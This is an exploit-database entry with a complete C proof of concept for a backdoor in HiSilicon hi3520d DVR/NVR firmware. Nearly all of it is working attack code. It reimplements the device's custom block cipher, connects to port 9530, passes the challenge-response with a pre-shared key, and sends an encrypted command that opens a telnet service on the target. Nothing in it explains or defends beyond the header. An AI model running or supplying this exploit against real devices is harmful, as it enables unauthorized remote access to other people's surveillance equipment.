Share
# Exploit Title: HiSilicon DVR/NVR hi3520d firmware - Remote Backdoor Account   
# Dork: N/A  
# Date: 2020-02-03  
# Exploit Author: Snawoot  
# Vendor Homepage: http://www.hisilicon.com  
# Product Link: http://www.hisilicon.com/en/Products  
# Version: hi3520d  
# Tested on: Linux  
# CVE: N/A  
# References: https://habr.com/en/post/486856/  
# References: https://github.com/Snawoot/hisilicon-dvr-telnet  
# References: https://github.com/tothi/pwn-hisilicon-dvr#summary  
  
# POC:   
#include <stdio.h>  
#include <string.h>  
#include <errno.h>  
#include <netdb.h>  
#include <sys/types.h>  
#include <netinet/in.h>  
#include <sys/socket.h>  
#include <unistd.h>  
  
typedef unsigned char byte;  
typedef unsigned int uint;  
  
byte state[2048] = {0};  
byte datum[] = {  
0x20, 0x01, 0x02, 0x03, 0x04, 0x05, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09,  
0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11,  
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19,  
0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x01,  
0x0e, 0x04, 0x0d, 0x01, 0x02, 0x0f, 0x0b, 0x08, 0x03, 0x0a, 0x06, 0x0c,  
0x05, 0x09, 0x00, 0x07, 0x00, 0x0f, 0x07, 0x04, 0x0e, 0x02, 0x0d, 0x01,  
0x0a, 0x06, 0x0c, 0x0b, 0x09, 0x05, 0x03, 0x08, 0x04, 0x01, 0x0e, 0x08,  
0x0d, 0x06, 0x02, 0x0b, 0x0f, 0x0c, 0x09, 0x07, 0x03, 0x0a, 0x05, 0x00,  
0x0f, 0x0c, 0x08, 0x02, 0x04, 0x09, 0x01, 0x07, 0x05, 0x0b, 0x03, 0x0e,  
0x0a, 0x00, 0x06, 0x0d, 0x0f, 0x01, 0x08, 0x0e, 0x06, 0x0b, 0x03, 0x04,  
0x09, 0x07, 0x02, 0x0d, 0x0c, 0x00, 0x05, 0x0a, 0x03, 0x0d, 0x04, 0x07,  
0x0f, 0x02, 0x08, 0x0e, 0x0c, 0x00, 0x01, 0x0a, 0x06, 0x09, 0x0b, 0x05,  
0x00, 0x0e, 0x07, 0x0b, 0x0a, 0x04, 0x0d, 0x01, 0x05, 0x08, 0x0c, 0x06,  
0x09, 0x03, 0x02, 0x0f, 0x0d, 0x08, 0x0a, 0x01, 0x03, 0x0f, 0x04, 0x02,  
0x0b, 0x06, 0x07, 0x0c, 0x00, 0x05, 0x0e, 0x09, 0x0a, 0x00, 0x09, 0x0e,  
0x06, 0x03, 0x0f, 0x05, 0x01, 0x0d, 0x0c, 0x07, 0x0b, 0x04, 0x02, 0x08,  
0x0d, 0x07, 0x00, 0x09, 0x03, 0x04, 0x06, 0x0a, 0x02, 0x08, 0x05, 0x0e,  
0x0c, 0x0b, 0x0f, 0x01, 0x0d, 0x06, 0x04, 0x09, 0x08, 0x0f, 0x03, 0x00,  
0x0b, 0x01, 0x02, 0x0c, 0x05, 0x0a, 0x0e, 0x07, 0x01, 0x0a, 0x0d, 0x00,  
0x06, 0x09, 0x08, 0x07, 0x04, 0x0f, 0x0e, 0x03, 0x0b, 0x05, 0x02, 0x0c,  
0x07, 0x0d, 0x0e, 0x03, 0x00, 0x06, 0x09, 0x0a, 0x01, 0x02, 0x08, 0x05,  
0x0b, 0x0c, 0x04, 0x0f, 0x0d, 0x08, 0x0b, 0x05, 0x06, 0x0f, 0x00, 0x03,  
0x04, 0x07, 0x02, 0x0c, 0x01, 0x0a, 0x0e, 0x09, 0x0a, 0x06, 0x09, 0x00,  
0x0c, 0x0b, 0x07, 0x0d, 0x0f, 0x01, 0x03, 0x0e, 0x05, 0x02, 0x08, 0x04,  
0x03, 0x0f, 0x00, 0x06, 0x0a, 0x01, 0x0d, 0x08, 0x09, 0x04, 0x05, 0x0b,  
0x0c, 0x07, 0x02, 0x0e, 0x02, 0x0c, 0x04, 0x01, 0x07, 0x0a, 0x0b, 0x06,  
0x08, 0x05, 0x03, 0x0f, 0x0d, 0x00, 0x0e, 0x09, 0x0e, 0x0b, 0x02, 0x0c,  
0x04, 0x07, 0x0d, 0x01, 0x05, 0x00, 0x0f, 0x0a, 0x03, 0x09, 0x08, 0x06,  
0x04, 0x02, 0x01, 0x0b, 0x0a, 0x0d, 0x07, 0x08, 0x0f, 0x09, 0x0c, 0x05,  
0x06, 0x03, 0x00, 0x0e, 0x0b, 0x08, 0x0c, 0x07, 0x01, 0x0e, 0x02, 0x0d,  
0x06, 0x0f, 0x00, 0x09, 0x0a, 0x04, 0x05, 0x03, 0x0c, 0x01, 0x0a, 0x0f,  
0x09, 0x02, 0x06, 0x08, 0x00, 0x0d, 0x03, 0x04, 0x0e, 0x07, 0x05, 0x0b,  
0x0a, 0x0f, 0x04, 0x02, 0x07, 0x0c, 0x09, 0x05, 0x06, 0x01, 0x0d, 0x0e,  
0x00, 0x0b, 0x03, 0x08, 0x09, 0x0e, 0x0f, 0x05, 0x02, 0x08, 0x0c, 0x03,  
0x07, 0x00, 0x04, 0x0a, 0x01, 0x0d, 0x0b, 0x06, 0x04, 0x03, 0x02, 0x0c,  
0x09, 0x05, 0x0f, 0x0a, 0x0b, 0x0e, 0x01, 0x07, 0x06, 0x00, 0x08, 0x0d,  
0x04, 0x0b, 0x02, 0x0e, 0x0f, 0x00, 0x08, 0x0d, 0x03, 0x0c, 0x09, 0x07,  
0x05, 0x0a, 0x06, 0x01, 0x0d, 0x00, 0x0b, 0x07, 0x04, 0x09, 0x01, 0x0a,  
0x0e, 0x03, 0x05, 0x0c, 0x02, 0x0f, 0x08, 0x06, 0x01, 0x04, 0x0b, 0x0d,  
0x0c, 0x03, 0x07, 0x0e, 0x0a, 0x0f, 0x06, 0x08, 0x00, 0x05, 0x09, 0x02,  
0x06, 0x0b, 0x0d, 0x08, 0x01, 0x04, 0x0a, 0x07, 0x09, 0x05, 0x00, 0x0f,  
0x0e, 0x02, 0x03, 0x0c, 0x0d, 0x02, 0x08, 0x04, 0x06, 0x0f, 0x0b, 0x01,  
0x0a, 0x09, 0x03, 0x0e, 0x05, 0x00, 0x0c, 0x07, 0x01, 0x0f, 0x0d, 0x08,  
0x0a, 0x03, 0x07, 0x04, 0x0c, 0x05, 0x06, 0x0b, 0x00, 0x0e, 0x09, 0x02,  
0x07, 0x0b, 0x04, 0x01, 0x09, 0x0c, 0x0e, 0x02, 0x00, 0x06, 0x0a, 0x0d,  
0x0f, 0x03, 0x05, 0x08, 0x02, 0x01, 0x0e, 0x07, 0x04, 0x0a, 0x08, 0x0d,  
0x0f, 0x0c, 0x09, 0x00, 0x03, 0x05, 0x06, 0x0b, 0x10, 0x07, 0x14, 0x15,  
0x1d, 0x0c, 0x1c, 0x11, 0x01, 0x0f, 0x17, 0x1a, 0x05, 0x12, 0x1f, 0x0a,  
0x02, 0x08, 0x18, 0x0e, 0x20, 0x1b, 0x03, 0x09, 0x13, 0x0d, 0x1e, 0x06,  
0x16, 0x0b, 0x04, 0x19, 0x3a, 0x32, 0x2a, 0x22, 0x1a, 0x12, 0x0a, 0x02,  
0x3c, 0x34, 0x2c, 0x24, 0x1c, 0x14, 0x0c, 0x04, 0x3e, 0x36, 0x2e, 0x26,  
0x1e, 0x16, 0x0e, 0x06, 0x40, 0x38, 0x30, 0x28, 0x20, 0x18, 0x10, 0x08,  
0x39, 0x31, 0x29, 0x21, 0x19, 0x11, 0x09, 0x01, 0x3b, 0x33, 0x2b, 0x23,  
0x1b, 0x13, 0x0b, 0x03, 0x3d, 0x35, 0x2d, 0x25, 0x1d, 0x15, 0x0d, 0x05,  
0x3f, 0x37, 0x2f, 0x27, 0x1f, 0x17, 0x0f, 0x07, 0xf4, 0x63, 0x01, 0x00,  
0x28, 0x08, 0x30, 0x10, 0x38, 0x18, 0x40, 0x20, 0x27, 0x07, 0x2f, 0x0f,  
0x37, 0x17, 0x3f, 0x1f, 0x26, 0x06, 0x2e, 0x0e, 0x36, 0x16, 0x3e, 0x1e,  
0x25, 0x05, 0x2d, 0x0d, 0x35, 0x15, 0x3d, 0x1d, 0x24, 0x04, 0x2c, 0x0c,  
0x34, 0x14, 0x3c, 0x1c, 0x23, 0x03, 0x2b, 0x0b, 0x33, 0x13, 0x3b, 0x1b,  
0x22, 0x02, 0x2a, 0x0a, 0x32, 0x12, 0x3a, 0x1a, 0x21, 0x01, 0x29, 0x09,  
0x31, 0x11, 0x39, 0x19, 0x39, 0x31, 0x29, 0x21, 0x19, 0x11, 0x09, 0x01,  
0x3a, 0x32, 0x2a, 0x22, 0x1a, 0x12, 0x0a, 0x02, 0x3b, 0x33, 0x2b, 0x23,  
0x1b, 0x13, 0x0b, 0x03, 0x3c, 0x34, 0x2c, 0x24, 0x3f, 0x37, 0x2f, 0x27,  
0x1f, 0x17, 0x0f, 0x07, 0x3e, 0x36, 0x2e, 0x26, 0x1e, 0x16, 0x0e, 0x06,  
0x3d, 0x35, 0x2d, 0x25, 0x1d, 0x15, 0x0d, 0x05, 0x1c, 0x14, 0x0c, 0x04,  
0x50, 0x64, 0x01, 0x00, 0x01, 0x01, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02,  
0x01, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x01, 0x0e, 0x11, 0x0b, 0x18,  
0x01, 0x05, 0x03, 0x1c, 0x0f, 0x06, 0x15, 0x0a, 0x17, 0x13, 0x0c, 0x04,  
0x1a, 0x08, 0x10, 0x07, 0x1b, 0x14, 0x0d, 0x02, 0x29, 0x34, 0x1f, 0x25,  
0x2f, 0x37, 0x1e, 0x28, 0x33, 0x2d, 0x21, 0x30, 0x2c, 0x31, 0x27, 0x38,  
0x22, 0x35, 0x2e, 0x2a, 0x32, 0x24, 0x1d, 0x20  
};  
  
void init_cipher_offset_vector(byte *dst,byte *src,int size)  
  
{  
int i;  
  
i = 0;  
while (i < size) {  
dst[i] = (byte)((int)(uint)src[i >> 3] >> (i & 7U)) & 1;  
i = i + 1;  
}  
return;  
}  
  
void apply_cipher_offset_vector(byte *dst,byte *src,byte *offset_vector,size_t size)  
  
{  
int i;  
  
i = 0;  
while (i < (int)size) {  
state[i] = src[(uint)offset_vector[i] - 1];  
i = i + 1;  
}  
memcpy(dst,state,size);  
return;  
}  
  
void cipher_memcpy_shuffle(void *dst,size_t size)  
  
{  
memcpy(state,dst,size);  
memcpy(dst,(void *)(dst + size),0x1c - size);  
memcpy((void *)(dst + (0x1c - size)),state,size);  
return;  
}  
  
void init_cipher_state(void *dst,void *src)  
  
{  
byte current_byte;  
int i;  
  
init_cipher_offset_vector(state + 0x190,(byte *)src,0x40);  
apply_cipher_offset_vector(state + 0x190,state + 0x190,datum + 0x2d4,0x38);  
i = 0;  
do {  
current_byte = (datum + 0x310)[i];  
i = i + 1;  
cipher_memcpy_shuffle(state + 0x190,(uint)current_byte);  
cipher_memcpy_shuffle(state + 0x190 + 0x1c,(uint)current_byte);  
apply_cipher_offset_vector((byte *)dst,state + 0x190,datum + 0x320,0x30);  
dst = (byte *)dst + 0x30;  
} while (i != 0x10);  
return;  
}  
  
void cipher_xor(byte *data,byte *key,int size)  
  
{  
int i;  
  
i = 0;  
while (i < size) {  
data[i] = key[i] ^ data[i];  
i = i + 1;  
}  
return;  
}  
  
void prepare_key(void *key,size_t key_size)  
  
{  
size_t __n;  
  
memset(state + 0x1d0,0,0x10);  
__n = key_size;  
if (0xf < (int)key_size) {  
__n = 0x10;  
}  
memcpy(state + 0x1d0,key,__n);  
init_cipher_state(state + 0x1e0,state + 0x1d0);  
if (8 < (int)key_size) {  
init_cipher_state(state + 0x4e0,state + 0x1d8);  
}  
*(state + 0x7e0) = 8 < (int)key_size; // !!!! recheck size  
return;  
}  
  
void cipher_shuffle(byte *dst,byte *src)  
  
{  
byte *caretPtr;  
int iVar1;  
byte *ptr;  
int i;  
  
apply_cipher_offset_vector(state + 0x100,dst,datum,0x30);  
cipher_xor(state + 0x100,src,0x30);  
ptr = state + 0x100;  
i = 0;  
do {  
iVar1 = i + (uint)ptr[5] + (uint)*ptr * 2;  
caretPtr = dst + i;  
i = i + 4;  
init_cipher_offset_vector  
(caretPtr,datum + 0x30 +  
(uint)ptr[2] * 4 + (uint)ptr[1] * 8 + (uint)ptr[4] + (uint)ptr[3] * 2 +  
iVar1 * 0x10,4);  
ptr = ptr + 6;  
} while (i != 0x20);  
apply_cipher_offset_vector(dst,dst,datum + 0x230,0x20);  
return;  
}  
  
void cipher_box(byte *result,byte *data,byte *offset_vector,int direction)  
  
{  
uint i;  
byte *backward_ov_ptr;  
byte *forward_ov_ptr;  
int iVar3;  
  
init_cipher_offset_vector(state + 0x130,data,0x40);  
apply_cipher_offset_vector(state + 0x130,state + 0x130,datum + 0x250,0x40);  
if (direction == 0) {  
forward_ov_ptr = offset_vector + 0x300;  
do {  
memcpy(state + 0x170,state + 0x150,0x20);  
cipher_shuffle(state + 0x150,offset_vector);  
cipher_xor(state + 0x150,state + 0x130,0x20);  
memcpy(state + 0x130, state + 0x170, 0x20);  
offset_vector = offset_vector + 0x30;  
} while (offset_vector != forward_ov_ptr);  
}  
else {  
backward_ov_ptr = offset_vector + 0x2d0;  
do {  
memcpy(state + 0x170,state + 0x130,0x20);  
cipher_shuffle(state + 0x130,backward_ov_ptr);  
cipher_xor(state + 0x130,state + 0x150,0x20);  
backward_ov_ptr -= 0x30;  
memcpy(state + 0x150,state + 0x170,0x20);  
} while (backward_ov_ptr != offset_vector + -0x30);  
}  
apply_cipher_offset_vector(state + 0x130,state + 0x130,datum + 0x294,0x40);  
memset(result,0,8);  
i = 0;  
do {  
result[i >> 3] = result[i >> 3] | *(char *)(state + 0x130 + i) << (i & 7);  
i = i + 1;  
} while (i != 0x40);  
return;  
}  
  
int decrypt(char *result,char *data,uint data_len,char *key,uint key_len)  
  
{  
uint short_key_iter;  
int curBlockNumber;  
int blockCount;  
  
if (((result != (char *)0x0 && data != (char *)0x0) && (curBlockNumber = 0, key != (char *)0x0))  
&& ((data_len + 7 & 0xfffffff8) != 0)) {  
prepare_key(key,key_len);  
blockCount = (int)(data_len + 7) >> 3;  
short_key_iter = *(state + 0x7e0);  
if (*(state + 0x7e0) == 0) {  
while ((int)short_key_iter < blockCount) {  
cipher_box((byte *)result,(byte *)data,state + 0x1e0,1);  
short_key_iter = short_key_iter + 1;  
result = (char *)((byte *)result + 8);  
data = (char *)((byte *)data + 8);  
}  
}  
else {  
while (curBlockNumber < blockCount) {  
cipher_box((byte *)result,(byte *)data,state + 0x1e0,1);  
cipher_box((byte *)result,(byte *)result,state + 0x4e0,0);  
cipher_box((byte *)result,(byte *)result,state + 0x1e0,1);  
curBlockNumber = curBlockNumber + 1;  
result = (char *)((byte *)result + 8);  
data = (char *)((byte *)data + 8);  
}  
}  
return 0;  
}  
return -1;  
}  
  
int encrypt(char *result,char *data,uint data_len,char *key,uint key_size)  
  
{  
uint uVar2;  
int currentBlockNumber;  
int blocksCount;  
  
if (((result != (char *)0x0 && data != (char *)0x0) &&  
(currentBlockNumber = 0, key != (char *)0x0)) && ((data_len + 7 & 0xfffffff8) != 0)) {  
prepare_key(key,key_size);  
blocksCount = (int)(data_len + 7) >> 3;  
uVar2 = *(state + 0x7e0);  
if (*(state + 0x7e0) == 0) {  
while ((int)uVar2 < blocksCount) {  
cipher_box((byte *)result,(byte *)data,state + 0x1e0,0);  
uVar2 = uVar2 + 1;  
result = (char *)((byte *)result + 8);  
data = (char *)((byte *)data + 8);  
}  
}  
else {  
while (currentBlockNumber < blocksCount) {  
cipher_box((byte *)result,(byte *)data,state + 0x1e0,0);  
cipher_box((byte *)result,(byte *)result,state + 0x4e0,1);  
cipher_box((byte *)result,(byte *)result,state + 0x1e0,0);  
currentBlockNumber = currentBlockNumber + 1;  
result = (char *)((byte *)result + 8);  
data = (char *)((byte *)data + 8);  
}  
}  
return 0;  
}  
return -1;  
}  
  
void tohex(unsigned char * in, size_t insz, char * out, size_t outsz)  
{  
unsigned char * pin = in;  
const char * hex = "0123456789ABCDEF";  
char * pout = out;  
for(; pin < in+insz; pout +=3, pin++){  
pout[0] = hex[(*pin>>4) & 0xF];  
pout[1] = hex[ *pin & 0xF];  
pout[2] = ':';  
if (pout + 3 - out > outsz){  
/* Better to truncate output string than overflow buffer */  
/* it would be still better to either return a status */  
/* or ensure the target buffer is large enough and it never happen */  
break;  
}  
}  
pout[-1] = 0;  
}  
  
char netbuf[4096];  
  
#define PADDED(X) (((X + 7) / 8) * 8)  
#define PORT 9530  
#define BUFSIZE sizeof(netbuf)  
#define CMD_FIRST "OpenTelnet:OpenOnce"  
#define CHALLENGE_PROLOGUE "randNum:"  
#define VERIFY_OK "verify:OK"  
#define CMD_FINAL "CMD:"  
#define FINAL_PAYLOAD "Telnet:OpenOnce"  
#define OPEN_OK "Open:OK"  
  
ssize_t send_str(int sockfd, char *str, size_t len) {  
if (len > 0xFE) {  
return -1;  
}  
char buf[len+1];  
buf[0] = len + 1;  
memcpy(buf + 1, str, len);  
return send(sockfd, buf, len + 1, 0);  
}  
  
int main(int argc, char* argv[]) {  
int sockfd, numbytes;  
struct hostent *he;  
struct sockaddr_in their_addr;  
  
if (argc != 3) {  
fprintf(stderr, "Usage: %s <host> <PSK>\n", argv[0]);  
return 2;  
}  
  
if ((he=gethostbyname(argv[1])) == NULL) { /* get the host info */  
herror("gethostbyname");  
return 1;  
}  
  
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {  
perror("socket");  
return 1;  
}  
  
their_addr.sin_family = AF_INET; /* host byte order */  
their_addr.sin_port = htons(PORT); /* short, network byte order */  
their_addr.sin_addr = *((struct in_addr *)he->h_addr);  
bzero(&(their_addr.sin_zero), 8); /* zero the rest of the struct */  
  
if (connect(sockfd, (struct sockaddr *)&their_addr, \  
sizeof(struct sockaddr)) == -1) {  
perror("connect");  
return 1;  
}  
if (send_str(sockfd, CMD_FIRST, sizeof(CMD_FIRST)) == -1) {  
perror("send");  
return 1;  
}  
printf("Sent %s command.\n", CMD_FIRST);  
bzero(netbuf, BUFSIZE);  
if ((numbytes=recv(sockfd, netbuf, BUFSIZE - 1, 0)) == -1) {  
perror("recv");  
return 1;  
}  
puts(netbuf);  
if (memcmp(netbuf, CHALLENGE_PROLOGUE, sizeof(CHALLENGE_PROLOGUE) - 1) != 0) {  
fprintf(stderr, "No challenge received.\n");  
return 3;  
}  
  
char *seed = netbuf + sizeof(CHALLENGE_PROLOGUE) - 1;  
char challengeStr[strlen(seed) + strlen(argv[2]) + 1];  
size_t challengeLen = sprintf(challengeStr, "%s%s", seed, argv[2]);  
printf("challenge=%s\n", challengeStr);  
  
char encryptedRandomSeed[PADDED(challengeLen)];  
encrypt(encryptedRandomSeed, seed, strlen(seed), challengeStr, challengeLen);  
memcpy(netbuf, CHALLENGE_PROLOGUE, sizeof(CHALLENGE_PROLOGUE) - 1);  
memcpy(netbuf + sizeof(CHALLENGE_PROLOGUE) - 1, encryptedRandomSeed, PADDED(challengeLen));  
if (send_str(sockfd, netbuf, sizeof(CHALLENGE_PROLOGUE) - 1 + PADDED(challengeLen)) == -1) {  
perror("send");  
return 1;  
}  
bzero(netbuf, BUFSIZE);  
if ((numbytes=recv(sockfd, netbuf, BUFSIZE - 1, 0)) == -1) {  
perror("recv");  
return 1;  
}  
puts(netbuf);  
if (memcmp(netbuf, VERIFY_OK, sizeof(VERIFY_OK) - 1) != 0) {  
fprintf(stderr, "Verification failed.\n");  
return 4;  
}  
char encryptedFinal[PADDED(sizeof(FINAL_PAYLOAD))];  
encrypt(encryptedFinal, FINAL_PAYLOAD, sizeof(FINAL_PAYLOAD), challengeStr, challengeLen);  
memcpy(netbuf, CMD_FINAL, sizeof(CMD_FINAL) - 1);  
memcpy(netbuf + sizeof(CMD_FINAL) - 1, encryptedFinal, sizeof(encryptedFinal));  
if (send_str(sockfd, netbuf, sizeof(CMD_FINAL) - 1 + sizeof(encryptedFinal)) == -1) {  
perror("send");  
return 1;  
}  
bzero(netbuf, BUFSIZE);  
if ((numbytes=recv(sockfd, netbuf, BUFSIZE - 1, 0)) == -1) {  
perror("recv");  
return 1;  
}  
puts(netbuf);  
if (memcmp(netbuf, OPEN_OK, sizeof(OPEN_OK) - 1)) {  
fprintf(stderr, "Open failed.\n");  
return 5;  
}  
  
return 0;  
}  
  
#